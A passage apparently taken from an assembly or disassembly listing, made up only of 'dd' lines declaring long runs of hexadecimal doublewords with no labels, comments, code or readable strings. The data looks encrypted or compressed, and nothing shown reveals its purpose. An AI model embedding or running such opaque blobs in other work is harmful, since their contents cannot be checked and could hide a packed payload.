524CDCFCh, 0FD47B3E3h, 8DB8A07Eh, 0F4AF5DF0h dd 281FDCD7h, 2DB339Dh, 8EDF7577h, 9D57D5BFh, 0A7FF3863h dd 1EB65ED9h, 47568398h, 185A03D5h, 3AD526B1h, 0B923E847h dd 0ED808981h, 84117631h, 28737C9Fh, 0CFAC4D92h, 6C0B05F4h dd 0A5D1CADFh, 0C04BF83h, 2B8B5E0Fh, 7E168E5Bh, 87648860h dd 739F59B4h, 1688A129h, 0C65447B5h, 0EA276F95h, 58BCE071h dd 23933BFCh, 0F3B5C544h, 591FF4EBh, 0B1312EA6h, 0E660B251h dd 0F42110C9h, 9C2C207Eh, 0EB2B99A8h, 0D355BFE3h, 49A7D8BAh dd 379AF4EBh, 105ABAA2h, 2A5D7D98h, 7C3928D7h, 8CDCA554h dd 0D995BBFEh, 0DBBF177Ch, 0A36992C8h, 0BA565FA5h, 505FB8C2h dd 0CB1C5289h, 0EDAE62B0h, 9023975Bh, 49D53A1Ah, 0AF4FAB9Ch dd 0F9469500h, 0FC341B2Bh, 6674F9B0h, 0B470455Fh, 224F2716h dd 0E67A757h, 3B94139Bh, 87F84A98h, 97930C8Ch, 86E6B695h dd 4F0B0875h, 37D611BCh, 0E5677351h, 0E30B9B4Dh, 48BB74BBh dd 123B2AE5h, 0EFD0F3B8h, 1CC4CA2Ah, 7BA54C13h, 0B3035036h dd 7F8AB3AAh, 0E55B046Eh, 0F722EAA0h, 6AEC833Ah, 998A5520h dd 0D987A4DBh, 0A4BA9B6h, 26A061C4h, 1A4244D7h, 3BD4D329h dd 78DBF820h, 1BDE80E0h, 0B9C09E26h, 0AD14EFA6h, 5BFC8F55h dd 0BE2E816h, 0D3C00BBDh, 0F139CB84h, 0F9F58942h, 10B243D9h dd 6BB94AD1h, 0D41E77FFh, 70DBFE7Bh, 8F11390Fh, 90E54557h dd 3345CB12h, 9CBF9188h, 3D3B9740h, 2117E020h, 0D016D407h dd 0AD537509h, 55EA4BB8h, 0A0466BE2h, 3F46BC9Eh, 46972918h dd 39A700C4h, 9F42A453h, 0E5A27736h, 0D45556A8h, 983F5D77h dd 0DB945DF1h, 55DB95E6h, 55B22E2Eh, 0F47DF2E7h, 0AC5223C1h dd 0B3A3B85Eh, 4A62FA2Eh, 10E3238Dh, 7E821DB5h, 909B5A1Fh dd 493FA615h, 0BCC92EFDh, 968BE7C0h, 44065DA2h, 71641E75h dd 9C3DC3D9h, 0C4B35DFCh, 391E4E89h, 0E4AD3219h, 5460485Eh dd 3A74AF17h, 0A2C529F8h dd 79975FDEh, 0F0F214B7h, 0F57CEF97h, 5F08F53Ch, 2278CB29h dd 7E12E49Ch, 0E4A76C8h, 496D6174h, 5BAB0A7h, 0AFBE103Ah dd 1DC35233h, 1BFE20DEh, 0AAA05610h, 4EE253DEh, 5B436B59h dd 0E37455E4h, 25A49A87h, 64E44BFEh, 5A996946h, 0AB0F3B1Eh dd 9504940Fh, 0E0A4C74Eh, 76084563h, 0FE72F6C7h, 43815AEBh dd 0F7B00F7Ch, 88A868F0h, 3DED9945h, 0AF464583h, 0FE78773Ah dd 0FF2648B4h, 0BEB32E96h, 7B78B2A0h, 42BB3766h, 2F583E24h dd 377731E0h, 9A2D2744h, 0A6FF52B6h, 8059B391h, 4B767961h dd 0CE63275Dh, 0F59BB445h, 0BA9C08ACh, 5C6C8D73h, 78D11020h dd 0ADE34870h, 9C78AC2Bh, 201059F3h, 31EA0922h, 0E9E0A6F1h dd 5FB32ADCh, 0FC0CA5E1h, 40296F75h, 71717C9Dh, 4142954Ch dd 57782C4Ch, 7DA8F267h, 768CE2EEh, 16691017h, 4A7E35BCh dd 190120EDh, 0BA197E5Eh, 0D4467E46h, 43005C2Ch, 0C4E25C8Fh dd 7B32FA9Bh, 3FB0EBEFh, 0F6B1E56Eh, 0D364E5D0h, 52E7854Eh dd 9444B4D3h, 9BAD2A54h, 0EEAE8703h, 56695D6Fh, 0D0ECBA9Ch dd 0D89FBE6h, 0BF4845B3h, 54AE020Fh, 1E89CE2Bh, 665E1818h dd 0CEE78FB5h, 0D0CE1FB8h, 605B0E67h, 0F0494EFEh, 3DBADE80h dd 27894230h, 5D48A5C2h, 8482C5E1h, 0D8DABB8Dh, 3229157h dd 964C8848h, 0DEEFD403h, 0D5D3CEFBh, 781140DCh, 766BFCECh dd 6409349Ah, 43F049A1h, 80BC710Dh, 0B899FE08h, 21AFC27h dd 0EB40E3BEh, 9D86D83Fh, 0AEA20619h, 89F01A90h, 0E0E5A589h dd 0C7027DEAh, 0A5DAE375h, 0C02BE4EAh, 0DE37FB7h, 7E73F598h dd 0E426BD5Bh, 779C968Fh, 0A3C4A719h, 557781D0h, 17EB2171h dd 0B06793AEh, 79F617D5h, 732E55A5h, 5C704989h, 0BBEC3C1Eh dd 0CCB70F71h, 0B4520F1Ch, 0FD4ECBA0h, 3CE1576h, 3862960Bh dd 889BB029h, 79E6FDF2h, 54DCAFDBh, 0AE97DEBBh, 364938C3h dd 75E3147h, 6C26FF59h, 5F5CE367h, 2AA90DD8h, 0A76D173Eh dd 257D5ED7h, 4F03182Eh, 0DDB48FBFh, 0DC38FE9Eh, 851A2B58h dd 0C73DE29Eh, 0FCEB80Fh, 0FEC37B7Ch, 747ECBD2h, 23B60BF1h dd 560E885Eh, 0EECBFB72h, 9E01B9EFh, 94E3B9A9h, 87806F12h dd 0E095C521h, 9782ADE6h, 0C6E6EEB6h, 2A915B0Fh, 48D5FB2Eh dd 0A6F93C0Fh, 2824233Ch, 0BFDAC389h, 0C7DA6CB3h, 0B0252298h dd 2FCB7B9Ch, 5C5CA3C9h, 0C0608EBh, 8BD89AB7h, 4F0DB220h dd 6F555794h, 29E856F9h, 689FF830h, 0AE39B44Dh, 0DFB8AA7Ah dd 34B1361Bh, 0A28DCF78h, 0EA829A95h, 0D6CA7ED6h, 83215603h dd 0F1174F90h, 0E9211A86h, 0C623A5A9h, 0DB0168F8h, 0EA98B0F7h dd 0A529B79Ch, 0EBB8C6FDh, 361045A7h, 5660602Bh, 0F03FC4Ch dd 0A581BFE5h, 0EA430CCFh, 2EED2FDCh, 0AEB0570Ch, 921D26B0h dd 8C1DC573h, 0E078DB2Ah, 7612D794h, 0C7009D87h, 0A2539551h dd 0FED553E8h, 4FB8613Ah, 3D4A5EAFh, 77EEB79h, 7669219Dh dd 778CB563h, 7B589F3Dh, 44D79BB9h, 57469CD6h, 27BB6A21h dd 8B891803h, 853E03CAh, 5B9173B4h, 62604257h, 0FD4CBBE1h dd 0F85D7877h, 0B6BC4292h, 90135766h, 303AAFBh, 0FF3C8AB6h dd 0CE28E8E5h, 5CA1D7B6h, 4762B4ADh, 5E161895h, 0EF84071Dh dd 90A26BC0h, 0E2F257C3h, 7D449CAh, 66B6E7BCh, 0D5D044Ch dd 0DDCEFB95h, 0B872B6E9h, 1A7E42F3h, 2607892Ch, 0D5DE0928h dd 0B8929338h, 5316B66Fh, 0DBB1587Ah, 3FECAE8Fh, 56CB738Ch dd 0D2E13025h, 7ABD85F5h, 0A2D9A45Fh, 4ACBA339h, 0C0F95317h dd 0D517F359h, 7CA6E0F5h, 0BF7A82FFh, 13F8FE30h, 0B22F5ADCh dd 0BAC808Ah, 53987EBAh, 702C2ED0h, 0E6E3E37Ah, 0F6B75834h dd 4A0E6A73h, 0D3F92EF6h, 0FD1D01AFh, 8F8589D8h, 0A1D849C3h dd 6BD170DAh, 4BC6DCFh, 0FBD9DB37h, 4453BC9Eh, 0FE382B59h dd 69E860B9h, 0C2BCAD14h, 0BCBCD4B8h, 27BA80DDh, 0F5334FDCh dd 0B7AE0E1Bh, 9F1B4C25h, 71F9BB40h, 0F762A56Ah, 35DF5248h dd 462FFBF1h, 43D23583h, 745E70AAh, 8F65D4C9h, 82CD23D6h dd 0EDD450BFh, 510FDEB8h, 0D8A6A422h, 0DA6732AEh, 5E0F59BAh dd 0D9A96401h, 9946F162h, 0DF24AE6h, 2AAA5B01h, 4DFAA372h dd 8A43785Fh, 452AACAEh, 0DE9D9EABh, 7A01AB9h, 0A2BA1B0Eh dd 8BBD472Dh, 1EA42C20h, 0FC5A53Eh, 2F61C6F3h, 726C6B31h dd 76581C95h, 43B0CD45h, 0ADB05B47h, 2C93BE97h, 91F187E3h dd 75EF3064h, 8316C0D6h, 11F855D0h, 62AC0FADh, 0E24DB67Eh dd 0B43C941Eh, 0CFEE96FCh, 60EC6ACBh, 3BEA3F88h, 62B4DA38h dd 3CEA18E7h, 6D42BBB9h, 0A63821FDh, 0B0672E06h, 35DEA63Ch dd 0EBE607EEh, 19E0D150h, 3A6B70C2h, 7F15A2FCh, 0A552C4C5h dd 466EBC86h, 9F8AD229h, 5A6BA0D9h, 0B0EBAF52h, 0EF4C375Ah dd 7B81535Fh, 0E200AC1Ah, 0AABBB589h, 0FEEBAE5Bh, 0A3FAF5EDh dd 0C9D6E7D1h, 59773D7Fh, 0BFDB23AEh, 0E54F74B1h, 0DF26CC69h dd 1F4D8402h, 0A925F95Dh, 0A409CA82h, 0F32FED20h, 9F893AE6h dd 4A0E0A5Dh, 55A9D43h, 0D77ABA2Fh, 0AB5CD1BDh, 78A9A86Fh dd 0DD81C537h, 0EA371459h, 0D7811B1Ch, 6ADC9C57h, 0BEE9055h dd 0B6A36516h, 0A93DA146h, 0FCE0665Bh, 0AB6B95C5h, 0AB594C0Fh dd 6E26A79Dh, 547E592Ch, 7DBF0B5Ch, 4B1C4D9Fh, 7055D4FDh dd 573A7B26h, 0AE055BB4h, 46931B82h, 1BEF56A7h, 0AE770C49h dd 871CC12h, 481DE9DFh, 0F5E7DF4Ch, 4B702F91h, 0E5F4A4F9h dd 1C292536h, 0A5204B18h, 8ACBCC56h, 0EC2F5AADh, 0BB48968Ah dd 63D263C4h, 0A138A5A3h, 0A5FC5289h, 9A8770CDh, 0D68857F4h dd 0F7E3A732h, 9C197F75h, 0BA16CD3Ch, 0DB8C1256h, 97E10797h dd 0C57D9CA5h, 553DC3A8h, 1055B035h, 89FC6D47h, 54A15BF0h dd 8A4060DCh, 63BCC847h, 0FA4BB601h, 0C9F4E2FDh, 0C28B0E9Fh dd 8D315DFAh, 840F4A1Ah, 5FA5BD35h, 0D56BA56Eh, 0B5E153A0h dd 3773BE54h, 6BD75C9Eh, 0FEBA7276h, 0F8925D1Bh, 0E0090558h dd 0D0D036C6h, 2D7BD5EDh, 58B5E8B0h, 0D5B09353h, 0C96041A9h dd 0EFC34C29h, 79A14BEFh, 8431F8B0h, 73FC30AEh, 48273EEDh dd 5FF2F8A9h, 40EDBA9h, 6DA85F52h, 8A440EC6h, 0E0302FF6h dd 6FDEE4BBh, 0DF54B8FAh, 0D9708E2Dh, 0AD20F01h, 2607E3A9h dd 0C505ED0Eh, 0CF72C1E4h, 92C5F753h, 0DD4F8A68h, 2855CA51h dd 0A7891E6Dh, 0C9AD2D08h, 75971B5Dh, 8AAD5A2Ah, 790B4E16h dd 5C036E70h, 0B6660790h, 6B61FF18h, 0ECFF9BC1h, 67715DEEh dd 0A2F26AEDh, 0E56D9538h, 0DD6D9B51h, 0CF1D3870h, 0C51ADA3Dh dd 0C5F7CCFFh, 2597454Ch, 0EEEE6BAAh, 0D0B14CBFh, 0CA285FD7h dd 2E11CFF2h, 0B37197AAh, 0FC165EA4h, 0A6ADC370h, 0FA3A57CCh dd 1DACD6C0h, 965B927Bh, 556CBF83h, 0B06A85CCh, 603418A4h dd 25952F6Fh, 1132288h, 0F81752C3h, 0B2DEE47Dh, 25248CEEh dd 0BE6E09A7h, 8266D6C5h, 6BE9736h, 56D6F1F0h, 0F2AD59D2h dd 0B49CDE4Dh, 0E5614179h, 2891F71h, 0DA3CFBF9h, 0B699BA07h dd 0CD1D909Ch, 0ED560ECFh, 50165306h, 8CF29D6Ch, 35E46047h dd 0D3C6E361h, 62B398ABh, 352C6B3Dh, 41C721CBh, 7748DA72h dd 506FBF82h, 0B522D4B4h, 0F1710A03h, 0DF1EE66Fh, 0CC55CBE0h dd 0D8270F09h, 0FB5AA8B9h, 82ABC224h, 0AEB250E9h, 0D93EC04Ch dd 0A5599F95h, 52B12784h, 9E6E868Bh, 6FA2AFA8h, 0E48EFC3Ch dd 85249327h, 52EF8A9Eh, 41F59C8Ah, 9CC75935h, 2FE7BF4Ch dd 23BEDFB3h, 0FFC4C551h, 0B62FD2FCh, 6AE4D607h, 0D0B6C7B3h dd 0D9C5026h, 0ED1F8EF5h dd 0BDDAB984h, 1B13E602h, 0D3DF7C3Fh, 108C7FECh, 0E160953h dd 792AFE1h, 44FBEDEAh, 49C2C9E1h, 0A2A34891h, 0D277CD25h dd 86123137h, 99E9C08h, 0FE76EF83h, 0AFBB6D34h, 0B3DD57C7h dd 43CDD443h, 0A0417BFEh, 0FDFBDF33h, 4D2C81E4h, 0D12B0775h dd 94975E68h, 803842FAh, 6B3BCE29h, 63F7E643h, 5C55ED34h dd 0BA9A6A34h, 0F7A71148h, 0FDE34454h, 9D3267E5h, 0B6628197h dd 653039D1h, 5B9577B5h, 676EC814h, 695527B4h, 0E1444BC8h dd 0EE8DD1B4h, 0CDE52A86h, 1F2108B6h, 2E557D59h, 0FF74DFE4h dd 0F21C7BE4h, 0D97F6C4Ah, 8D51AC1Ah, 0E81BDAC2h, 0BE11D62Eh dd 68155A2Ch, 0B7CE06FFh, 3CD7D8C4h, 0E529E67h, 20759DDCh dd 0A466B351h, 0FF72947h, 0E36BFB25h, 9612FA6Eh, 0C32A2FB7h dd 0B379D2E5h, 0B078EB1Ah, 198E115Fh, 62BB54ADh, 0A686D78Ah dd 70E54031h, 0B040BCF0h, 0A2A9E924h, 0B8FEBF1Ah, 0EF6B8073h dd 24CFCDC2h, 552610B0h, 0BD4DC639h, 7FEEF2Eh, 3DB75C22h dd 0DB9D69EAh, 3075579h, 85FCF875h, 5E96174Bh, 0C603B03Dh dd 9144C38Bh, 48EE5B45h, 60D312F1h, 67F1F463h, 0A3FAFEEEh dd 1C0A745Fh, 0A2E66D5Dh, 0B2FEEA1Ah, 26D291C1h, 336F210Eh dd 0A61AF87Eh, 0C8AFCB7Fh, 5938A168h, 4DB8DD8Dh, 281BBFD7h dd 6153845Ah, 0D4EF783Dh, 0FC8EB8BDh, 0A3FB5652h, 0E8CCF5Eh dd 6167780h, 81DC3A62h, 0FE6018BDh, 55578CB5h, 0C7C4A1B5h dd 23B8650Eh, 66755471h, 5C9E1F8Eh, 6FD23B30h, 5A1F77C5h dd 0FB5401E4h, 64348385h, 247F386Ah, 128AD7E4h, 10E65E35h dd 0A7711699h, 94C642BEh, 0C41C35E6h, 8AF83E92h, 15D3272Eh dd 59B7ECD1h, 6F0696E3h, 0A0B51138h, 0BEFCEEABh, 695716CFh dd 31D62D5h, 38251C88h, 0E05B086Ah, 0D55249ECh, 0B71AD5A7h dd 4DF395D0h, 14466B01h, 1FD0D599h, 0F507F8CFh, 51A88526h dd 0ED7FFD8Fh, 0FF01D319h, 0C7D5AD85h, 258C250Eh, 301C3A16h dd 0E6BCD6DAh, 0CFED5E65h, 7F72B259h, 6521AC64h, 0D273152Ch dd 0C972D086h, 96F50112h, 3ED1EC4Fh, 1E5D6A7Ch, 0B2D273E8h dd 50E9D270h, 3AB5EE44h, 69895E33h, 12E5FF95h, 0E297656Dh dd 1787F5CEh, 4C4C6A73h, 1D3093A8h, 0E89BB33Eh, 10DD1858h dd 28E8DA82h, 661F7E1Ah, 0FCD7BAA6h, 2F838EC1h, 422992A8h dd 7A0C3729h, 61B0DFA7h, 5A3D9391h, 665D8DBFh, 0BFB3FB4Ch dd 2FFEA06Bh, 0BB9843D7h, 0B751E2C8h, 37F460C5h, 0BEFCD485h dd 2B3C1DB0h, 0AAF96A98h, 29A4CE0Ah, 0E7E1C770h, 0CED3A6F2h dd 1A7E8AADh, 0AD2871ADh, 0B46BA39Ch, 0E6C6E1A8h, 5925DD63h dd 48251377h, 7FA1B07Ch, 0F46A340h, 561DD710h, 7F9FDA57h dd 7078CE44h, 9F083D89h, 0A64D0A52h, 98C3E15Ah, 455C52BAh dd 53B9F13Ch, 0F8A2AE9Eh, 0B0F95401h, 714448F8h, 1B7A5AADh dd 924243h, 0B2E2D0F9h, 2B5338EFh, 84CF0DC4h, 239BD7D9h dd 93B8EE60h, 3C7CFA4Dh, 0D0E9089Dh, 56B4B700h, 2D422ACBh dd 0FCAF2FFCh, 6176710Ah, 0B7169065h, 0B4FC4C3h, 0DCA9CA9Fh dd 0AFF45750h, 53F18E6h, 95B7482Ah, 8DD2A62Bh, 294DF23Dh dd 77B1C282h, 93AF44FFh, 1CB9CA26h, 0E357BCCAh, 8AADFF4Fh dd 3A291BDAh, 8A9B655Ch, 7762FFC5h, 2252604Dh, 76659AF5h dd 46BF94A8h, 73F8AD9Bh, 0CFBE9ADEh, 113F8CD2h, 8C771E52h dd 0EFA528BAh, 89431AA4h, 9C72AD69h, 0A39AF0F8h, 25FB8CA9h dd 0CE6B58E9h, 8764D1EEh, 45B26568h, 3A7EBB1Ch, 7815CD79h dd 0E5A102Fh, 13F95522h, 796DE3C9h, 8A91E07Dh, 9120F1FFh dd 8E7544EFh, 0E06DDCBBh, 606B6AC4h, 0AEF15957h, 0A7F9D407h dd 0CD3668D0h, 0F430758h, 39AFB42Ch, 0FA9D25DCh, 684787E0h dd 0F701D6E0h, 2B39AA37h, 4A76D935h, 55BC68E7h, 0ECFCB815h dd 68C2A298h, 956F2AB3h, 0F11F2D4h, 0C20652FAh, 98D9C564h dd 63EA2651h, 951AEC7Ch, 379382F6h, 0B47ED08Ah, 5748CF52h dd 366B66E1h, 0A0AF9382h, 6A32D188h, 0FA1CCA18h, 55EA02BBh dd 366A2273h, 336362A9h, 0F433345Eh, 7A8A9B02h, 585A7295h dd 360A02B3h, 7F6EEB58h, 0BE55518Ch, 5E2E64ECh, 9E1A92Ch dd 0D8CF63DCh, 9DD2706Ah, 5497C5CBh, 9FDE555Eh, 5529F440h dd 0E1BDEC40h, 0DE92BB87h, 79C0D835h, 2FF8B4B1h, 0DF2B20EDh dd 8C0E1F34h, 0FFB15192h, 0FAEF8F90h, 4D08C568h, 15D35C47h dd 1893B0D2h, 0AA8C31B5h, 0CF73ED8h, 0D6638686h, 52FCB9C8h dd 2FC1B895h, 928C997Ch, 6710CDE0h, 0E369050Fh, 880CBAF7h dd 2D0CF7FBh, 0C3328323h, 4D4D1F6Fh, 0EBA30330h, 0F3C16206h dd 707F8CEBh, 859AB4AAh, 73424FB9h, 6CEBC8FFh, 0AEC51C3Ah dd 8BAFC322h, 0FEB8E9C1h, 4FDDE4A1h, 2320DAB4h, 0D5FAE5BAh dd 0DD0EE3CAh, 87E9973Fh, 0A2CF7ABBh, 5DEA129Bh, 0C6463ED9h dd 1592A341h, 0BFADC56Ah, 33EB9A09h, 9CFC3E01h, 5A3B96C9h dd 0E87B6E38h, 0F7AE4CF9h, 1950CDC1h, 0B388735Eh, 0CB8ADE5Dh dd 7D7BD927h, 781595BDh, 95EE6D7h, 2D69547Fh, 0ACBD3A22h dd 6D68F33Eh, 940CCBC6h, 154790EEh, 0D1506FC6h, 0BCD36203h dd 3AA231A3h, 0A4FC98DAh, 0C0411968h, 0D7257FDAh, 0D0CDC47Ch dd 47A1C021h, 0D85F579Dh, 0DADCD247h, 0C47B43AEh, 0C1197E0h dd 5F179A81h, 617A58C5h, 99CDFE5Dh, 0E70042AAh, 7434E0BCh dd 44E06495h, 545524F4h, 4FF734B0h, 0C1E25D8Ah, 84F72FBBh dd 88DBC100h, 313D61Fh, 0FBBC4E07h, 0F6A410C0h, 1134DC5Ah dd 8BF1BFDBh, 7FA59953h, 23ACBAFCh, 0F109655Fh, 0A4D66DAEh dd 8DAD783Ah, 9151CFAAh, 0F86EBB6h, 0C9EE040Dh, 86E2015Dh dd 0C9C92DC4h, 0A7CE69A0h, 0F7BFD9E3h, 0F85EE485h, 0E9724CFBh dd 5C3F1012h, 0D73858BFh, 0BBDC13B5h, 4C2F7419h, 7F393DD5h dd 0B59182Ch, 0D7543521h, 1B8F63BDh, 474A7134h, 966AA2FAh dd 0F9CB8DF4h, 0CC1302B4h, 35A2FE90h, 9E52BCC9h, 0B74C7741h dd 0A7299FD6h, 3220FCAh, 0A3AFE07Bh, 0AAD8D18Fh, 0C7298A16h dd 3DB8A729h, 5B13BFA1h, 77F2492Eh, 70802D70h, 0CDC21AD8h dd 0D00ACFFBh, 95AC91FFh, 0F54CE521h, 3314C05h, 0D92A4EC7h dd 0E6127C65h, 0C74DBA8Bh, 3EF698BBh, 8FE3B4EDh, 0E1986863h dd 9B64E0F0h, 0FB1012D6h, 0FFF59746h, 54FF1289h, 0A4CF33C4h dd 0DA3D3EDBh, 87A12E20h, 2C52456Fh, 0E1195F36h, 73038AADh dd 0C5FCAFE7h, 0E4C1F797h, 1BA391B5h, 0AAF85DBCh, 8F6BC0C4h dd 0F463FF03h, 7AA5FD81h, 0FDE44AD6h, 8BDECEEBh, 0E1A5FAC0h dd 57F290B5h, 0C7A6AFC9h, 0F47DBC94h, 6EDA3D71h, 52BA6796h dd 59F4CBA4h, 9FD43F68h, 8759FCF3h, 4D2EE287h, 5B2F8A16h dd 5368FF39h, 308FE7F0h, 0F5887230h, 38F0FE6Eh, 398918CAh dd 0CAE5996Ah, 0C34E889Eh, 1F431879h, 538D97C8h, 1EE79096h dd 9D6A0BE5h, 0DBAA65B1h, 8A985FDCh, 4B35DE5h, 0F68DE194h dd 70DD0BE3h, 49A602A5h, 0E0F1C382h, 8A54F292h, 0CB76E3A6h dd 2DB5EE71h, 606225DEh, 0AE37FDA5h, 0A3C4B52Fh, 875AB9F0h dd 757925BFh, 0C0315D4Eh, 1F797E86h, 173DE55h, 0DF7472EFh dd 8AFDD9D5h, 0EA41898Bh, 0F6B53B8Fh, 0A5EB2472h, 0FEEFAA47h dd 86AE1B91h, 9401162Ch, 733CBDD5h, 0FF6685FEh, 0C8488197h dd 242AA316h, 0BDF27CE7h, 0BCEE3990h, 5CB3369Eh, 386EF7BAh dd 0D81F1338h, 73FBF723h, 6BC42F33h, 5E259901h, 0E80E83FFh dd 57DD0B1Eh, 0B78C9C0Ah, 5ABE4400h, 9E4FEDA3h, 256C2C31h dd 0E4A407A5h, 0F73F7AF7h dd 0C6EE3B8Dh, 1312E70Fh, 97C4E32Eh, 3CAE7A36h, 0BB3C94BFh dd 8E1C3422h, 0E2823FAh, 0F84D23BFh, 0E8CBF854h, 6C0648D8h dd 30ACAF8Ah, 0AF2F3DE8h, 0F0E8E964h, 825A5EF5h, 0E1412948h dd 2C502162h, 0E2545609h, 73C32EABh, 6D30739Ah, 5BF38887h dd 0A33E7C1Eh, 439EA5E5h, 0E5FFE041h, 0EF315930h, 0B5357F2Bh dd 0BD51FC10h, 9455675Fh, 978AD56Eh, 0ACC25CA6h, 0EBADF154h dd 72D8E2A9h, 0E05DA2Dh, 0AADDEEB1h, 0D92883F1h, 0FDA8A5C7h dd 0F1CC6268h, 0F324DB7Fh, 9AD15F65h, 0DE075860h, 0EAEBD31h dd 111B6153h, 47AFDE1Bh, 3DCFA8B3h, 0ECBC9F50h, 0BDA4F29Ah dd 0BAE964DAh, 150F56D1h, 0CD75E31Fh, 833BBFEh, 0AD91BBEh dd 0A04B58E0h, 7C52622h, 4E607A86h, 0A3CBAC9Dh, 5559AA4Eh dd 54A15904h, 0CB78FD33h, 558BFCF3h, 19D3B9D5h, 0D2B99ACFh dd 0CC9B66ABh, 85E1AF91h, 5915ED64h, 3F1E212Ah, 0BC01DF64h dd 965514B8h, 2C42CF7Ch, 35F23BF9h, 930666BEh, 0C8EAEEF0h dd 58B145A2h, 1DE2F1EBh, 0F07932F0h, 0F0F15ACh, 0E3D1D04Ch dd 0F4B75786h, 0F0304BF2h, 79F1923Ah, 53E1C65Dh, 0DA770554h dd 394E84AAh, 0A0C225DFh, 10F87138h, 0EC4F79BAh, 0CA2F0AE0h dd 497EB588h, 18FEC128h, 3BCF1640h, 0B1452427h, 579B5D91h dd 721A69E9h, 226BB013h, 7C2D1C0Fh, 0B0938AD0h, 556A1517h dd 6F9CFDAAh, 0F22A5247h, 0CF79281h, 5B5A1688h, 6D32B362h dd 0BEDDFB18h, 0ADED83C9h, 0EC67D78Ah, 85A35770h, 703D48D5h dd 0F2749A95h, 0FE733190h, 62AD1962h, 0F28DB281h, 0E345A54Bh dd 3CF3A84Fh, 762A1423h, 5EA9AF6Ch, 246A739h, 60C194B6h dd 8A5B5249h, 0CE4CB732h, 0FB491984h, 0F76A396Eh, 8DF361C0h dd 0E16A1A7Dh, 0E9403BF7h, 0D22C4D5Ch, 3C00C3CCh, 0A10BDE56h dd 0F16B40EAh, 5D412FB7h, 9E37A9CEh, 6F6F7AB9h, 60260AD2h dd 21F60DF0h, 0E806E5C9h, 0B43FB5D7h, 0B8158BFFh, 0B5100BC2h dd 2F2164B6h, 65CAB595h, 2F73C45Dh, 0EB3390ADh, 6520B90Bh dd 9245A46Eh, 6EF4C7AEh, 99DD9A6Fh, 6ADB5233h, 0EE1FEAA2h dd 3AFC57B2h, 3E524071h, 0D3EDC430h, 0A0E2989Eh, 1E0B117h dd 65FFF8C3h, 8EEC9F6Ch, 0B5E572FFh, 0F92396E4h, 0F64EF659h dd 0C4FB1F46h, 9CF7FE4Dh, 4A7542FBh, 8A0BFBABh, 8916160Ch dd 66CF04D6h, 6F2A1160h, 257D7ED6h, 0DCC494D4h, 259EA035h dd 0EBD59FA1h, 73DE8BDCh, 8A499D57h, 0B8A197C6h, 0D704688Ah dd 794560E2h, 2079553h, 68AD071h, 4B361330h, 14F12799h dd 625992D0h, 2794333Fh, 0D6EF619Dh, 0C76D77F0h, 0E1F45C40h dd 0D4C8B487h, 1E5FFF85h, 673889BFh, 7A66E80Eh, 1E13AEB4h dd 99153ED3h, 0AA28FB94h, 0BF3A7806h, 0BD28AA71h, 0E9EACCDDh dd 798A8531h, 1EDFD5E6h, 0B70AF65Eh, 5797BB8Fh, 87B23F9Fh dd 69D694D8h, 46D1A0ADh, 627BA92Dh, 0E24241EBh, 3E536AE8h dd 0D4BFD610h, 60D4DFD7h, 0B737E79Fh, 87106541h, 1E47165Fh dd 21F86E7Eh, 0A5B1FC15h, 0C0491D4Ch, 842C081Bh, 0F03DA399h dd 49FEBAB6h, 537F6B10h, 462471Dh, 0F4B8F109h, 3DB824BAh dd 0DA69BAE7h, 5317882Fh, 0C7F285B7h, 6810DE67h, 6DA4AB3h dd 8DD6F23Fh, 0E6FE8C4Ch, 7DBC46CAh, 2D827B74h, 0CEF44075h dd 21613FFBh, 35484F38h, 4C9DECD0h, 0DB254B49h, 268FBF45h dd 0DBE7DC52h, 0BC5CA8B8h, 0A3CD5B5Fh, 7F552A9Dh, 0C2D359FDh dd 3AEBA32Eh, 0D457F727h, 539C33Ch, 4D6BC398h, 0D350B241h dd 5E3C90B9h, 0AC167EFCh, 7F98BCC6h, 0B5727DEEh, 0DA3A5E63h dd 965C13ECh, 3E21063h, 0B1CF3FBFh, 0E7A6B25Eh, 1BCFE0C5h dd 7DFA43F0h, 5B5AA03Ah, 0C3D80EBCh, 0D32F3576h, 3A3425C0h dd 0A63686E9h, 999C5E8Ah, 0B68A8BECh, 4E8030AEh, 0A1BC1287h dd 56DC5A5Fh, 0B8A4A97h, 26DC3F81h, 721ED9A9h, 0DFB3F9Fh dd 6FE5FE94h, 2A7D5D3Dh, 87E2F3A3h, 0A57ECFEEh, 183A2034h dd 4277E1B6h, 0B1BA22A7h, 54F689BFh, 0BE65451Ah, 5EB06240h dd 0EBDB7D57h, 792D6D65h, 0F3968379h, 0D9811C48h, 30BC886Fh dd 0DFACF962h, 394BDECFh, 73A5AAADh, 0A041288Ah, 6C35F48Ah dd 179820ADh, 0A65FE5FEh, 0DF5A6C53h, 0C34A91ABh, 7CAE2600h dd 6EF6F870h, 0D5CD9CD7h, 0FACFABE7h, 0B0318242h, 0CEDD62CFh dd 9D5859Ch, 3048666Ch, 43878F85h, 0D09E3DDBh, 94365767h dd 0FF17B354h, 0BF73FBBDh, 25D4E4D0h, 0C62710F5h, 7BA6C705h dd 83182BBh, 0AF3BFB8h, 3B451D10h, 0F5F2605Ch, 381F6F5Eh dd 0CBC65F67h, 0C6C9063Bh, 0A48BD084h, 1DEB77C6h, 450341EDh dd 0E6625719h, 73B1BFE5h, 1FAF7C29h, 98D19998h, 0FC147766h dd 0EE55E430h, 55D82648h, 669FB471h, 2571D705h, 0A62A874Ah dd 5A582925h, 5A23BA47h, 16D22046h, 5C2E7387h, 0AAFAE5FCh dd 0E1BB9575h, 2D6DF38Ah, 0D9BBA828h, 29AF6396h, 6684DED0h dd 6056215h, 0AF0357EDh, 0E8B55EE7h, 2CC3F6E7h, 0D24E5325h dd 39AFC52Fh, 0C2B7BBh, 9C65906Ch, 761DE9E7h, 0A9AFD764h dd 0FFAD0190h, 0E95FC5C6h, 8ABFDAD8h, 4E8CC32Bh, 2F6EE650h dd 7744EB9Ah, 0BA7F0539h, 5C3FDBBBh, 0A245F91Eh, 4C1F4A85h dd 386EB6F0h, 0CABE246Eh, 0A2C9E5E8h, 0E6F523E5h, 0CA77A6Ah dd 81E0ABABh, 0AABCDF8Dh, 177EE32Bh, 966A5C43h, 0CA055C6Eh dd 444B505Fh, 0EC43BC25h, 2D02FDABh, 254BF1B7h, 0E0F9C359h dd 0FC3CA9CDh, 0A44DA270h, 3B57E730h, 6670CF33h, 561084ACh dd 4FDD48B8h, 0D4B515B4h, 7C62CBC3h, 0DEEE5267h, 5BB4C1AAh dd 0EA0F7AC0h, 652EB2F0h, 0F2893D54h, 83B84F05h, 2CEA3D43h dd 3A4FFB6Ah, 5C195F91h, 366BE77Ch, 0F6AA0C45h, 579FBF0Dh dd 